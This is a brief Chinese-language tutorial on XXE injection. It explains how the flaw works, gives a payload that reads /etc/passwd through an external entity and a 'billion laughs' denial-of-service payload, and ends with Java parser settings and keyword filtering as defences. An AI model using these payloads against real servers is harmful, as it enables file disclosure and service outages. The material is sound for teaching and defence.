XXE 注入攻击

前言

XXE Injection即XML External Entity Injection,也就是XML外部实体注入攻击。
漏洞通常发生的场景是服务端接收从客户端传输过来的xml格式数据时,没有对其中不安全的外部实体数据进行处理时引发的问题。

具体应用

目前通用的数据传输格式主要有xml格式,json格式;其中xml格式解析笨重但可读性强,json格式解析轻量但对人阅读体验不好,两种各有千秋。有些接口还是采用的xml格式数据传输,如果服务端没有对接口请求的参数进行必要的XXE注入攻击校验,就会导致服务器被攻击。

外部实体

在XML1.0标准里,XML文档结构里定义了实体(entity)这个概念.实体可以通过预定义,
并在文档中调用实体的标识符可访问本地或远程内容。

所产生的影响:

  1. 文件读取,造成信息泄露(例:通过system标识读取系统文件)
    <?xml version="1.0" encoding="utf-8"?> 
    <!DOCTYPE test [
    <!ELEMENT methodname ANY >
    <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
    <methodcall>
    <methodname>&xxe;</methodname>
    </methodcall>

这里除了可以读取本地服务器文件系统资源外,还可以基于http、gopher、smb等协议读取远程资源。

  1. DOS拒绝服务攻击
    <?xml version="1.0"?>
    <!DOCTYPE lolz [
    <!ENTITY lol "lol">
    <!ELEMENT lolz (#PCDATA)>
    <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
    <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
    <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
    <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
    <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
    <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
    <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
    <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
    <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
    ]>
    <lolz>&lol9;</lolz>

先定义了lol实体,值为”lol”的字符串,后在下面又定义了lol1实体,lol1实体引用10个lol实体,lol2又引用了10个lol1实体的值,依此类推,到了最后在loln元素中引用的lol9中,就会存在上亿个”lol”字符串此时解析数据时就会造成服务器内存被大量占用,导致正常请求无法处理(即DOS拒绝服务攻击)。

  1. 执行系统命令
  2. 探测内网端口

如何防御

  1. 禁用xml解析器,解析外部实体的功能;

    SAXReader reader = new SAXReader();
    reader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
    reader.setFeature("http://xml.org/sax/features/external-general-entities", false);
    reader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
    reader.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
  2. 对请求参数XML数据中含关键词:<!DOCTYPE,<!ENTITY 和 <!ELEMENT 或者SYSTEM和PUBLIC等进行过滤处理;